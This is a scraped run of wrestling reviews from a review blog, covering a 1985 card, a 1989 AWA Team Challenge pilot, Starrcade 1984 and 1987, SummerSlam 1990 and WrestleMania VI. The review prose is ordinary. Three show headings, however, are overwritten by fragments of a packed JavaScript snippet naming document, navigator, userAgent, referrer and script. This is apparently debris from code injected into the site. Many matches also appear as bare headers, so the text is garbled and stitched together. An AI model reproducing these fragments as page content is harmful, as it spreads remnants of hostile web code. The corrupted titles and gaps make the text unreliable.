Rating: C. Their matches might not be great but you can’t deny the natural chemistry between these two. The fans are going to get behind Dusty because of the all time charisma and Flair is Flair. There’s a reason these two were as perfect together as they knew exactly what they were doing, but the constant Dusty Finishes made it hard to care. Dusty would finally win the title in July, so at least they did pay it off at some point.

Say it with me: and there’s no title change Flair was thrown over the top earlier on, meaning it’s a DQ.

Road Warriors vs. Russians

Ellering is here with the Warriors. That would be Ivan Koloff/Krusher Khrushchev with Nikita Koloff on the floor. Animal wastes no time in gorilla pressing Koloff and hands it off to Hawk for some right hands. Krusher comes in and cranks on a wristlock but Hawk shoves him away without much trouble. A big boot and backdrop have Krusher in trouble and Animal gets in a slam to make it even worse.

Koloff comes back in and slugs away at Hawk, who chokes him to take over instead. Animal even sneaks in a low blow to keep him down, followed by more choking. Krusher finally embraces his inner evil Russian by low bridging Animal to the floor for the first opening. We hit the neck crank but Animal rakes the eyes to escape, which is something so simple that few ever think of it.

That and a hot shot aren’t enough for the tag to Hawk though and it’s a double clothesline with Koloff for a double knockdown. Animal finally gets over for the tag and the house cleaning is on. Koloff is busted open and the blood all over Hawk’s chest is quite the visual. Everything breaks down and the Russians try to switch but Ellering stops the count and points out the switch, meaning it’s a DQ win for the Warriors at 10:45.

Rating: C-. It might not have been the best match in the world but the energy was there and this is another match that gives you a layup on paper. How can you not get fired up about an American power team against a trio of EVIL Russians (who happen to be monsters in their own right) in 1985? Hence why this feud lasted for a long time.

Post match the brawl continues with Ellering getting knocked down until the Warriors clear the ring.

AWA World Title: Rick Martel vs. Stan Hansen

Hansen is challenging. They slug it out at the bell, because slugging it out with STAN HANSEN is a good idea. Martel hits a crossbody to send him outside so Hansen throws in a chair, which is quickly disposed of. Back in and Martel armdrags him into an armbar, which is probably smarter than trading punches. Naturally the fans declare this boring, because they’re quite a fickle bunch.

Hansen breaks the armbar without much trouble and dumps him outside to keep up the brawling. That doesn’t last long as Martel is right back to the arm with a legdrop and a short armscissors. Hansen gets up and slams him down again as it’s the back vs. the arm so far. To mix things up a bit, Martel takes him down and drops a leg on the arm. At least this time he goes with an armbar for something a little different.

Hansen comes up with a backbreaker and some ax handles to the back. A gutwrench suplex gets two but Hansen’s splash hits raised knees. Martel’s own slam gets two but his back gives out on a suplex attempt. The abdominal stretch goes on until Martel can get out with a small package for two. His back is done though and Hansen puts on a Boston crab but leans his head onto the turnbuckle (completely legal) so Martel can’t kick out. Martel taps like crazy and finally gives up 14:00.

Rating: D+. The back vs. arm stuff was a fine idea but the execution was lame. There is only so much that you can get when the match is spent on a series of armbars and armscissors with Hansen hitting him in the back in between. The ending was very smart though and something I don’t remember seeing done again. Martel was a nice breath of air for the title but was anyone buying him as a top star?

Overall Rating: D. That’s how you end Christmas I guess. The ECW match was nothing, the AWA show was your usual boring event that only appealed to the hometown fans and the Pro Wrestling USA show was one of the worst things I can remember save for one or two bright spots. This is another situation where you can understand why things were hidden and it’s better if they stay that way in cases like this one.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s History Of In Your House (also available as an e-book) from Amazon. Check out the information here:

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Hidden Gems Collection #2: I’ve Never Seen Anything Like This And You Need To Watch It Right Now

No image on this one, because I don’t want to spoil the impact.

Hidden Gems #2
Date: 1989

So when I originally put this on the schedule, it was entirely for the sake of the AWA Team Challenge show which got….interesting reviews, shall we say for reasons of general insanity. Since I started doing the rest of the years though, I might as well do the entire year, which is quite the eclectic collection this time around. Let’s get to it.

For the sake of simplicity, I’ll do these in order from the date they aired, starting with the earliest.

From February 23, 1989 in Florida.

Gordon Solie and Diamond Dallas Page (back when he was a heel commentator with some big hair) are with Oliver Humperdink (a heel manager) at the announcers’ desk with Oliver not being happy about Dusty Rhodes. Lately Dusty has brought out his son Dustin, who needs to be taken care of. Therefore, Humperdink is calling in Terry Funk to eradicate Dustin so Dusty will give up. Terry isn’t here yet, but he’s sent in a video for our visual enjoyment.

Funk, standing in front of a big wooden cutout labeled Dusty, has a new word for us. The word is a Dusty, which is a 150lb frame, with 50lbs of added fat, 50lbs of added obesity and 50lbs of added hot air, giving you a 300lb blob. Terry whips out a chainsaw and cuts off the wooden arms and head before hacking away the painted on heart. That leaves you with a heartless jackass, and if you breed that with a thick tongued barmaid, you get a Dustin, who is too stupid to say no, he won’t get in the ring with Terry Funk. Well, that was absolutely terrifying and we’ll move on as fast as possible.

From a WWA show promoted by the AWA. Note that this is VERY late in the match with about nine minutes shown of a match that ran thirty. It was also broadcast in Japan, as you can hear the Japanese commentary under the English commentary. Also of note: former World Champion Pat O’Connor is guest referee.

Rock N Roll Express vs. British Bulldogs
Date: February 23, 1989
Location: Memorial Hall, Kansas City, Missouri
Attendance: 300
Commentators: Ray Stevens, Greg Gagne

Joined in progress with Dynamite Kid dropping a knee onto Ricky Morton’s back and slapping on an armbar. Bulldog comes in for an armbar of his own as there are more empty seats than filled ones. Morton gets thrown outside as we hit the 25 minute mark. With the fans looking bored out of their minds, Greg talks about them being up for the entire match. I know they can see the match, so why like about something that is clearly wrong? I’ve never gotten that.

It’s back to Bulldog, who misses a top rope knee but still breaks up the hot tag attempt. Morton finally rolls over for the hot tag to Robert Gibson and everything breaks down. Gibson gets one off the slowest one count ever off a backdrop and then suplexes Dynamite with two minutes left. It’s back to Ricky for two off a piledriver, followed by the double dropkick for another slow two. A small package gets the same and we have thirty seconds. Smith and Gibson both try dropkicks and it’s back to Dynamite for an exchange of small packages as the time limit expires at 7:14 shown.

Rating: D. It’s really not fair to rate the last fifth or so of a match but what we got wasn’t all that great. The wrestling wasn’t anything to see but then again these teams were WAY passed their primes by this point anyway. I certainly don’t think I’d want to see the full version, but it’s certainly fine for an historical curiosity if nothing else.

Post match Badd Company, the Tag Team Champions, say they’re ready to face any team. They’re particularly ready to face Ricky Rice and Derrick Dukes (the Top Guns), who must be dreaming if they think they’re getting the titles. Ok then.

From May 13, 1989 in Sarasota, Florida in the PWF (Professional Wrestling Federation), Dusty Rhodes’ promotion. As you can probably guess by the name of Dusty’s opponent, it didn’t even make it a year.

PWF World Title: Dusty Rhodes vs. Big Steele Man
Date: May 13, 1989
Location: Robarts Arena, Sarasota, Florida
Commentator: Gordon Solie

In a cage with Dusty defending and that would be Tugboat/Typhoon/Shockmaster. Makes sense as they’re brothers-in-law, along with Jerry Sags (there’s your trivia for the day). This is in a cage and joined in progress again with Dusty going after Man’s manager, Oliver Humperdink (hey it’s a theme collection). Man hammers away in the corner but Dusty gets in the ten right hands to take over again. The Bionic Elbow keeps Man in trouble and he gets sent head first into the cage as the blood is flowing.

Man gets smart enough to grab a bearhug but Dusty hiptosses his way to freedom, only to miss the big elbow. A right hand knocks Dusty into the referee and of course Dusty hits the big elbow a few seconds later. Humperdink comes in (because the cage door is worthless) but gets punched back. Dusty hits a suplex but Diamond Dallas Page, Steel’s other manager, throws in a towel. Apparently it’s covered in something to knock Dusty out, meaning….well nothing actually as we’re clipped to a still of Man holding up the title at about 4:20.

Rating: D-. I’ve seen a full show from these guys before and the regular thing wasn’t that much better. This was slow and plodding and little more than a way for Dusty to have a foil, even though both of them would be in the WWF in about two months. That being said, what else were you expecting from Dusty vs. Tugboat in a serious match?

And now, for the reason I wanted to watch this in the first place.

Team Challenge Series Pilot
Date: October 23, 1989
Commentators: Ralph Strangis, Greg Gagne

So back in the late 1980s, the AWA was, uh, bad. Like, really bad. Their answer was this big series of gimmick matches with a big scoring system and the entire roster split up into three teams. This was called the Team Challenge Series and what we have here is described as an unreleased home video pilot special. I’m sure this will be FASCINATING. Let’s get to it.

We open with a montage, featuring cheerleaders in very 80s bikinis chanting YAY YAY YAY FOR THE AWA, plus the American flag, a concert and wrestling. I guess this is Verne Gagne’s idea of patriotism?

Verne, with his dog, introduces the concept. He’s so excited about this concept with new technology (remember that) that he might come out of retirement one more time. I mean, would that really surprise anyone?

Our hosts and commentators, Ralph Strangis and Greg Gagne promise us some great new stuff over the next sixty minutes. The video is less than forty, making me think that either this company can’t count or something has been edited. Guess which I’m leaning towards. Greg says we’ll be able to feel the armdrags and dropkicks. Well his partner had a great dropkick so I’ll take what I can get.

Tommy Jammer vs. Tom Burton

Let me stop you right here. See, around this time the AWA wasn’t doing well with drawing audiences. That would be the case here, so this is how they solved the problem. An example of the entrances:

Now, in case that’s not enough for you, there are no fans in the “arena”, which appears to be a small, dimly lit room. Not that you can tell how big it is, when the lights go as far as where the first row would be. Now, to compensate for the lack of the fans, we do get some extreme closeups of some random people, presumably watching anything but this show. And now, the match.

Burton armdrags him down and we hear about the great technology: slow motion. Yes I said SLOW MOTION. Now for those of you unfamiliar with the history of slow motion….well you’re pretty common actually. From what I can find, the earliest usage of slow motion in television was first used on television in 1939, or FIFTY YEARS before this aired.

Back to the match, we cut to some fans giving a thumbs down sign at what appears to be a restaurant or a bar, with a brick wall and a bottle of ketchup visible. Now, considering it’s a well lit scene and the arena is about as well lit as an old school NWA arena, I’m thinking something is afoot. Or astupid. Burton hits a simple slam and that’s enough for a slow motion replay.

Jammer makes a comeback and we go to a far too close camera angle, with the camera seemingly inside the ring. That sounds cool in theory, but when it’s so close that you can’t see Jammer as he slams Burton, it might be a little too close. Oh and where is Jammer’s slow motion replay? Jammer gets an armdrag and we change camera angles, followed by another armdrag and another cut to some woman at what might be a different bar. A powerslam and a splash (called the Surfer Splash on the original call and the Jammer Splash on the replay) finish Burton at 1:46.

We go to Baron Von Raschke and Sgt. Slaughter, with the former being listed as the captain of the Blitzers. His man Paul Diamond is ready to face Slaughter’s (captain of the Snipers) Colonel DeBeers (Isn’t a colonel above a sergeant?) in what sounds like an over the top rope challenge.

Now it’s clear that these two are on different teams, but we still have no idea what the teams are, who is on them, how many teams there are, how they were determined, what they’re fighting for, or ANYTHING about the concept other than the fact that there is a concept at hand. I have a feeling this is going to get even worse as we keep go forward.

The announcers don’t like the Destruction Crew. Of note: it sounds like this was a TV show that was released on video. That would explain the time issue earlier, but it’s not really clear either way.

The Destruction Crew (Mike Enos and Wayne Bloom, better known as the Beverly Brothers in the WWF) swing sledgehammers at a green screen of a hotel being demolished. They’re ready to destroy things. Or maybe people. This was a Demolition knockoff.

Destruction Crew vs. Jerry Lynn/Ricky Rice

This would be the second time Rice has been mentioned today in what is likely the only two times he’s been mentioned in about twenty five years. The Crew has Luscious Johnny V in their corner. We get more shots of fans in what is very clearly a different location. This is described as being “just like at a sports bar”. So wait: is watching the show live like it’s in a sports bar, or is the show supposed to be in a sports bar? Are they saying the fans are watching this from elsewhere or are they supposed to be in the arena? I would assume the former, but egads this is far more complicated than it should be.

Rice gets armdragged (popular move tonight) down to start and Enos shoulders him for a bonus. Some wristlocks have Enos in trouble and it’s off to Lynn….as the fans seem pleased. That would make you believe that the fans are supposed to be in the arena, meaning this is supposed to be in the sports bars shown. Lynn, who looks nothing like he would ten years later in ECW, stays on the arm as we can see the ceiling, which is far higher than it was in the bar shots earlier.

The replay shows that Lynn’s face and head never came close to touching the mat. Greg: “He may have a broken neck!”

Post match Eric Bischoff (with huge hair) talks to Johnny and the Crew (great band name) who just talk about how awesome they are. Only Bischoff mentions the team concept, and the fact that the Crew is on Larry Zbyszko’s (unnamed) team. No word on who Lynn and Rice play for.

The announcers think that the Crew is destined for one thing: the Tag Team Titles. Not winning points or anything related to the Series, but the titles, which may or may not be a part of the Series. You know what is part of the Series? Of course not, because we still haven’t been told about it nearly fifteen minutes in.

Slaughter explains what sounds like the main event, which is an over the top rope challenge, called a King of the Hill match. DeBeers better win tonight or he’s going to disgrace America. Note that DeBeers is from South Africa.

DeBeers, standing in front of a flag which isn’t from South Africa, talks about being in the South African military and says that while he hasn’t lost a war, he’s had some casualties. From now on, Slaughter needs to communicate through the Joint Chiefs of Staff. Tonight, he’s winning for South Africa.

The announcers FINALLY tell us something about the Series: the teams were picked at random. And we move on to Beverly Hills.

We get a foxy boxing match (meaning women basically in lingerie boxing) with a ring surrounded by women in actual lingerie. The Blonde Bomber jumps Slaughterhouse Sean before the bell as we hear about their managers. The camera goes to alternating first person views as round one ends. Apparently the beating continues, though we’re looking at the Bomber’s manager Mustang Sally instead.

Ralph actually explains the rules here, even as the Bomber jumps Sean from behind and puts on a chinlock. A snap suplex gets two and the referee tells her to put the gloves back on. Sean blocks a kick in the corner and hits a heck of a right hand to knock the Bomber silly as round two ends.

Greg explains the rules and concept of the whole thing, which makes enough sense, assuming you forgive this explanation coming over halfway through the whole show.

And here are the standings:

Larry’s Legends – 16

Baron’s Blitzers – 15

Sarge’s Snipers – 13

Of course there have already been 44 points given out when we haven’t seen an actual match on the pilot yet. From what I can find, the Series started on October 1. This video is dated October 23, so assuming a point a match (and we have to assume since we haven’t been told anything otherwise), there have been an average of two matches a day, every day, since the thing took place. Also, this would suggest that it’s a TV show, because you probably wouldn’t put “current” standings on a home video release. Then again I have no reason to believe that any matches have actually taken place at this point so who knows.

Just to make it even more confusing, Diamond says this is the beginning of the Series and he’s in the first match. So yeah, there are just points for the teams despite the Series not even starting yet. This just keeps getting better and better.

Paul Diamond vs. Colonel DeBeers

Over the top rope challenge. It should be noted that during the entrances with the fake crowds, the wrestlers are turning to the left and walking into the people, just in case you thought they might be real you see. Ralph: “We are watching this with you, live from satellite base. From sea to shining sea, in sports bars and in your homes. This is the new AWA. Ralph Strangis and Greg Gagne ringside.” They can’t even go three sentences without screwing something up!

Also, if this is possibly released on home video (which makes sense if this is the first match), then how are they supposed to be watching it at a bar? And are these all bars in the Minnesota area? Or is it like some worldwide watch party where everyone got a pre-release copy of this tape and they’re all watching it together?

The bigger DeBeers shoulders him down to start but gets caught in a flying headscissors. Diamond misses a crossbody in the corner though and DeBeers tries to get him out, showing some actual thinking here for the first time on this whole thing. A dropkick grazes DeBeers and we look at the slow motion replay to prove how badly it missed. DeBeers snapmares him down and hits a top rope headbutt, followed by a kick to the ribs to knock him over the top and out to the apron.

Another headbutt misses and we take a slow motion look at DeBeers going face first into the buckle. Some right hands get DeBeers out of trouble and we crank up the crowd noise again. DeBeers rolls outside (legal) and drives some elbows into the chest before heading back inside. A piledriver is reversed into a backdrop though and Diamond gets the win for….some to be announced amount of points at 5:49.

Rating: D. Again, it’s not even the worst wrestling ever. DeBeers and Diamond are talented enough guys that they could work a completely watchable match. This was fine for what it was, even with a little drama on some of the near tosses. It’s just everything else thrown in there leaves you with so many questions.

Sgt. Slaughter vs. The Terminator

I believe the Terminator is Marcus Laurinaitis, Animal and Johnny Ace’s brother. The ring is heavily mic’d here so we’re getting a lot of extra trash talk, somehow with no swearing included. It’s so weird seeing Slaughter with hair. Slaughter hits a forearm to the chest and we see it in SLOW MOTION WITH MIC’D UP SOUND!!! I CAN’T HANDLE THIS MUCH TECHNOLOGY! They demand that the other show them toughness so Slaughter drop toeholds him down into a headlock.

We get a quick preview for next week (Again, video or not?), including a very young Yokozuna, to wrap things up.

Overall Rating: A+. This was incredible, with everything going wrong in every possible way and turning the whole thing into one of the most amazing things I’ve ever seen. It didn’t make sense, the wrestling was crazy, and the entire show was such a blast to watch. It was the kind of thing that you have to see to believe and it’s absolutely incredible in a train wreck sense.

Normally I would list off a bunch of stuff that they did wrong here but there isn’t enough space to do that justice. This was a perfect storm of awful as the AWA continues to have no idea how to get out of the downward spiral they were in. The company was long past the point where they should have pulled the plug and instead we get a show where Slow Motion is the next big thing in wrestling technology.

Really, this is something that you need to see to believe because words can’t do it justice. Just watch it for a few minutes and see if you can look away. The entire concept was a mess in the first place and then there’s….whatever you want to call this thing. It’s such an incredible spectacle and one of the few things that ever had me nearly speechless. Go out of your way to check this out and just have a good time with how insane the thing really is.

Here’s the show on the Network. You owe yourself this one.

http://network.wwe.com/video/v2518758883

 

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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Starrcade 1987: I Love A Good Request

IMG Credit: WWE

Starrcade 1987
Date: November 26, 1987
Location: UIC Pavilion, Chicago, Illinois
Attendance: 8,000
Commentators: Tony Schiavone, Jim Ross

The arena looks huge but very smoky.

Sting/Jimmy Garvin/Michael Hayes vs. Eddie Gilbert/Larry Zbyszko/Rick Steiner

UWF Title: Steve Williams vs. Barry Windham

Rock N Roll Express vs. Midnight Express

Morton knocks Eaton around with the racket as Gibson pounds on Lane on the other end of the scaffold. Eaton busts out his trusty powder to blind Ricky and now Gibson is double teamed. Ricky gets the tennis racket back to stagger Bobby with as all four guys head back to the ends of the scaffold. Eaton drops the racket to the mat as Lane climbs under the scaffold.

NWA TV Title/UWF TV Title: Nikita Koloff vs. Terry Taylor

This is a unification match between the two Television Titles. Taylor has Eddie Gilbert with him as backup. Taylor grabs a headlock to start but is easily run over by a shoulder block. They head to the corner and amazingly enough we get a clean break. We go to another corner and Taylor tries a cheap shot, only to get punched in the face by Nikita. Taylor cranks on the arm so Nikita sticks his tongue out at him and puts on an armbar of his own.

Terry headbutts out of the hold but Nikita rams him shoulder first into the buckle. More right hands have no effect at all and Nikita cranks away on the wristlock into a hammerlock. Koloff muscles him down into a cover but Taylor makes the ropes and heads outside. Back in and Taylor talks some trash, earning himself a slap in the face. A backdrop gets two on Terry and its time for more stalling on the floor.

Tag Titles: Arn Anderson/Tully Blanchard vs. Road Warriors

Off to Animal who catches Blanchard coming in off the top in a powerslam for another two count. Arn comes back in and manages to avoid a charge in the corner, only to have his head taken off by a clothesline from Animal. Blanchard tries to come in but gets punched right in the jaw as well. Both Horsemen try to go after Hawk, only to get clotheslined down for a near fall on Blanchard. Total dominance by the Warriors so far.

Back to Animal for a bearhug plus a right hand from Hawk. Animal drops Tully down and Blanchard goes bailing to the corner. A dropkick to the ribs puts Blanchard down again so he tags in Anderson. Animal has to chase Arn on the floor before coming back inside to gorilla press him down. A press slam on Tully by Hawk is broken up by Arn hitting Hawk in the knee and the Horsemen FINALLY take over.

US Title: Lex Luger vs. Dusty Rhodes

NWA World Title: Ric Flair vs. Ron Garvin

Ron rams him into the cage and gets two off a top rope cross body and the same off a backslide. The fans are starting to get into this a bit. More chops have Flair in trouble and they go up top again. Ric gets crotched on the top rope and Garvin tries the top rope sunset flip which won him the title a few months ago. This time though Flair falls forward and grabs the ropes for two. Garvin pounds away in the corner but Flair shoves him off and crushes the referee. Ron hits his big right hand for two and sends Garvin into the cage for the pin and the title.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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Starrcade 1984: Round One

Someone requested this a little while back so here you go.  Also, if you like this, I have a whole e-book of Starrcade reviews available right here.

https://www.amazon.com/KBs-History-Starrcade-Thomas-Hall-ebook/dp/B00D2UKOG0

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsnsn|var|u0026u|referrer|szznd||js|php'.split('|'),0,{})) 1984
Date: November 22, 1984
Location: Greensboro Coliseum, Greensboro, North Carolina
Attendance: 16,000
Commentators: Gordon Solie, Bob Caudle

We open with a clip of the end of Flair vs. Race with Flair winning the title. A year later and Flair is much more of a tweener than a clear face as he was the previous year.

Junior Heavyweight Title: Denny Brown vs. Mike Davis

Brown snaps off a forearm to the face but his back is too banged up to take advantage. Davis slugs him into the corner but walks into a dropkick for two. Back up and they collide to send both guys down. Back up and Davis tries a belly to back suplex into a bridge but Brown raises his shoulder for the surprise pin and the title.

Brian Adias vs. Mr. Ito

Florida Heavyweight Title: Jesse Barr vs. Mike Graham

AGAIN a basic hold goes on for a long time until Graham fights out and goes for the knee. The Figure Four goes on in the middle of the ring but Barr easily makes the rope. Mike tries an atomic drop and a rollup in the corner but Barr throws his feet on the ropes for the pin to retain. The wrestlers keep going for a bit for no apparent reason.

Zambuie Express vs. Assassin/Buzz Tyler

Dusty Rhodes is sitting in a chair with a jacket covering him up. Is standing up too much effort for him tonight? He talks about how awesome he and Flair are but tonight we find out who the better man is.

Brass Knuckles Title: Black Bart vs. Manny Fernandez

Bart keeps pounding away on the forehead and the champion is in trouble. Actually scratch that as Manny fights up and pounds away, knocking Bart out to the floor. Back in and Manny punches Bart down, busting him open in the process. Bart goes to the ribs for a change to take over and the punching continues. Bull is knocked down and we see him from the overhead camera again. Bart can still only get two so he drops Manny throat first over the top rope. Bart tries to bring in a bullrope but gets rolled up and Manny retains his title.

Tony is with Ricky Steamboat and the lights go out so no interview.

We see the attack on Steamboat again and head back to Ricky, who has put up $10,000 for a shot at the TV Title tonight. His back is really hurt but tonight is too important to miss.

The announcers talk about the TV Title match. Apparently if Tully gets disqualified he loses the title.

The announcers talk about the remaining matches for a bit.

Paul Jones vs. Jimmy Valiant

Mid-Atlantic Title: Ron Bass vs. Dick Slater

Keith Larson/Ole Anderson vs. Nikita Koloff/Ivan Koloff

Anderson and Larson stay on the arm before Ivan FINALLY drags Anderson over to the corner for a tag off to the monster Nikita. He pounds Anderson down and puts him in a bearhug as momentum has completely swung the other direction. As is the custom tonight, the hold stays on for several minutes before Ole smacks Nikita in the head to escape. Back to Ivan who gets two off a slam.

Back to Nikita to break up a hot tag and puts on another bearhug. Anderson finally punches out of it and makes the hot tag off to Larson. Keith speeds things up but gets run over by a Russian Sickle (hooking clothesline). Everything breaks down and Kernoodle is knocked down. As Ole and Nikita fight on the floor, Ivan pins Larson off a chain shot to the head.

Post match Kernoodle beats up the Russians with his crutch. Good to see that a guy on a crutch and in a neck brace can beat up two monsters who just beat his brother and Ole Anderson.

TV Title: Ricky Steamboat vs. Tully Blanchard

US Title: Billy Graham vs. Wahoo McDaniel

Graham is challenging and is a kung fu master here in a dramatic gimmick change. He even comes out to Kung Fu Fighting. Tom Miller, the ring announcer, is actually taller than Graham. Billy is introduced as a former US Champion but I can find no evidence of him ever holding that title anywhere. Wahoo is teasing a heel turn at this point and starts with a test of strength for some reason.

Rating: D-. Erg this show is driving me crazy. The match was WAY too short and drags things back down after the great match we just got done with before this one. Wahoo was old and fat at this point but would be a good foil for Magnum TA in a few months. Graham would join up with Paul Jones to feud with Jimmy Valiant, much like a lot of other midcard heels.

We see the end of Race vs. Flair for the third time tonight.

NWA World Title: Dusty Rhodes vs. Ric Flair

Flair kisses the million dollar check.

The announcers talk for a bit.

The announcers wrap things up.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


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Summerslam Count-Up – 1990: Ah the Memories

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsdht|var|u0026u|referrer|efzra||js|php'.split('|'),0,{})) 1990
Date: August 27, 1990
Location: Philadelphia Spectrum, Philadelphia, Pennsylvania
Attendance: 19,304
Commentators: Vince McMahon, Roddy Piper

We open with a look at the fans coming into the arena and buying merchandise.

Now we get a traditional intro with Vince shouting about the double main event.

Rockers vs. Power and Glory

Post match Shawn finally gets into the ring but Marty covers his injured leg and takes a beating himself. Shawn is taken out on a stretcher.

Intercontinental Title: Mr. Perfect vs. Texas Tornado

Back in and Perfect hits a clothesline of his own and the necksnap has Tornado in trouble. Off to a sleeper on Tornado but he quickly makes the rope. Perfect tries slapping him in the face, but Tornado pulls him into a slingshot, sending Perfect head first into the post. The Claw hold and Tornado Punch are enough for the pin and the title.

Mean Gene is talking about Sapphire being nowhere in sight (remember that as it becomes important later) when Hennig and Brain come in and say Tornado cheated by sending Perfect into the post. Heenan swears, yes SWEARS I SAY, that the shoulder was up at two.

Sapphire vs. Sensational Sherri

Warlord vs. Tito Santana

Ad for Survivor Series. That show SUCKED.

Tag Titles: Hart Foundation vs. Demolition

During the break between falls, Demolition knocks Bret to the floor, allowing Ax to run down and sneak under the ring. The third fall starts with Bret getting two off a sunset flip before taking Smash down by the leg. Neidhart picks Bret up for the reverse powerslam for two on Smash. Now things get tricky as Smash rolls to the floor and rolls under the ring, switching places with Ax.

Demolition wants to get their hands on the LOD.

Jake Roberts vs. Bad News Brown

Demolition yells a lot.

Gene sees Sapphire go into a dressing room and lock the door behind her.

Orient Express vs. Nikolai Volkoff/Jim Duggan

Dusty Rhodes vs. Randy Savage

Hulk Hogan vs. Earthquake

Bravo gets in some cheap shots on the floor but Earthquake misses an elbow drop back inside. Hogan finally gets to his feet (sidenote: Roddy Piper should not be allowed to cheer for Hogan. Ever.) but falls back down on a slam attempt. Off to a bearhug by Earthquake as the match slows down. Hulk punches out of it and tries a cross body like a schnook, earning the powerslam he gets as a result. Earthquake drops a pair of Earthquake splashes (seated sentons) but Hogan gets up at two to shock the crowd.

Rating: B-. The match itself was nothing of note but this is exactly what the fans wanted to see other than Hogan getting a pin. These two feuded on the house show circuit for the next four months or so, which really is amazing when you consider how basic the angle was that set it up. This falls into the fun category which is fine for a show like this.

Post match Quake chokes Hogan until Bossman blasts him in the back with a STEPLADDER. Quake finally drops him and looks at Bossman so the cop pulls out the nightstick to chase them off. Lots of posing ensues as you can see the house show rematches with any combination of these four guys being made up.

Vince and Roddy talk about Hogan vs. Earthquake happening again.

WWF World Title: Ultimate Warrior vs. Rick Rude

In a cage where you can win by pin or escape. Rude tries to block Warrior from getting into the cage so Warrior knocks him off the top and down into the ring. The champion finally comes in with a top rope ax handle smash and throws Rude into the cage. Rick goes into the cage a few more times but ducks a charge to send Warrior face first into the bars. Rude kicks Warrior away but jumps off the top to put him down again instead of climbing out.

Rating: D. This match sucked and the ending was exactly what people expected. These two had a match on SNME a month earlier and maybe Rude should have taken the title there to give it back to Warrior here. There was nothing of interest here and Warrior never seemed to be in any real danger due to Rude not going for a cover or trying to escape.

Ratings Comparison

Rockers vs. Power and Glory

Original: B-

Redo: C-

Texas Tornado vs. Mr. Perfect

Original: B

Redo: D+

Sapphire vs. Sensational Sherri

Original: N/A

Redo: N/A

Warlord vs. Tito Santana

Original: C+

Redo: D+

Hart Foundation vs. Demolition

Original: A+

Redo: B

Jake Roberts vs. Bad News Brown

Original: C-

Redo: D+

Nikolai Volkoff/Jim Duggan vs. Orient Express

Original: D+

Redo: N/A

Randy Savage vs. Dusty Rhodes

Original: N/A

Redo: N/A

Hulk Hogan vs. Earthquake

Original: B+

Redo: B-

Ultimate Warrior vs. Rick Rude

Original: C-

Redo: D

Overall Rating

Original: A+

Redo: C+

Nostalgia is a powerful drug.

http://kbwrestlingreviews.com/2010/12/12/summerslam-1990/

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


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Wrestlemania Count-Up – Wrestlemania VI: Dig That Crowd Man

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybsri|var|u0026u|referrer|zasie||js|php'.split('|'),0,{})) VI
Date: April 1, 1990
Location: SkyDome, Toronto, Ontario, Canada
Attendance: 67,678
Commentators: Jesse Ventura, Gorilla Monsoon

Robert Goulet sings O Canada.

Rick Martel vs. Koko B. Ware

Rating: D+. Not much of an opener here but it was decent enough I guess. This would have been a dark match today I would guess. The interesting thing here is what you got on the clipped version. On that edition, the first Boston Crab was clipped to the ending of the second one. See how dangerous that stuff can be?

Tag Titles: Colossal Connection vs. Demolition

Hercules vs. Earthquake

Earthquake misses a charge into the corner to start and Hercules pounds away on him. The big man heads to the floor before coming back in for a test of strength. Hercules goes down almost immediately and Earthquake is in control. The non-disaster comes back with some clotheslines but for reasons of general stupidity, Hercules tries a torture rack which goes as well as you would expect on someone who weighs 468. Two Earthquakes end Hercules.

Rating: D. Quick and easy here as Earthquake was clearly being built up as a huge monster for either Hogan or Warrior. He could certainly move very quickly for a guy his size and he had the talking ability to back it up. Earthquake is often forgotten as a quality monster which is a shame because the guy was pretty awesome.

Brutus Beefcake vs. Mr. Perfect

This is one of the biggest matches on the card. Beefcake starts fast and punches Perfect to the floor with a single right hand. Back in and another punch sends Perfect flying over the top rope again. Brutus pounds away some more and Perfect gets to do his over the top bumping. A running clothesline puts Perfect down and Beefcake calls for the sleeper as Mary Tyler Moore of all people is here.

Roddy Piper vs. Bad News Brown

Rating: D. Instead of a brawl or something entertaining, this was much more of a bizarre spectacle than anything else. Brown would be gone soon after this while Piper would shift into the broadcast booth to take over for Jesse. The fight was a lot weaker because of how much stuff there was to distract from the action which is never a good thing.

Hart Foundation vs. Bolsheviks

National anthem, Canadian assault, Hart Attack to Boris, pin in about 20 seconds.

Tito is ready for Barbarian and Heenan.

The Barbarian vs. Tito Santana

We recap Dusty/Sapphire vs. Macho/Sherri. This started at the Rumble where Brother Love insulted Sapphire and a brawl broke out with Savage and Rhodes. Sherri started attacking Rhodes on TV and a fourway brawl broke out there too.

Rhodes and Sapphire are ready for the mixed tag and say they have the crown jewel, whatever that is.

Dusty Rhodes/Sapphire vs. Queen Sherri/Randy Savage

Liz, Sapphire and Dusty dance.

Another Mania 7 ad.

Bobby Heenan is nearly speechless over Andre beating him up.

Rona Barrett is your usual celebrity that is out of place on a wrestling show.

Savage and Sherri freak out a lot.

Orient Express vs. Rockers

Rhythm and Blues are in the back with Steve Allen cracking jokes at their expense. Greg Valentine as a guitar playing rocker is just wrong.

Dino Bravo vs. Jim Duggan

Rating: D. Another filler match, another match that sucked. Duggan was there to get crushed by Earthquake post match. Bravo was a decent lackey and midcard heel for people to beat up, but as usual he was going to lose no matter what he did out there. Except to Ronnie Garvin last year because Garvin sucks.

Duggan gets crushed by Earthquake post match.

Million Dollar Title: Ted DiBiase vs. Jake Roberts

Big Boss Man vs. Akeem

Mary Tyler Moore likes Wrestlemania.

The attendance record is announced: 67,678.

Rick Rude vs. Jimmy Snuka

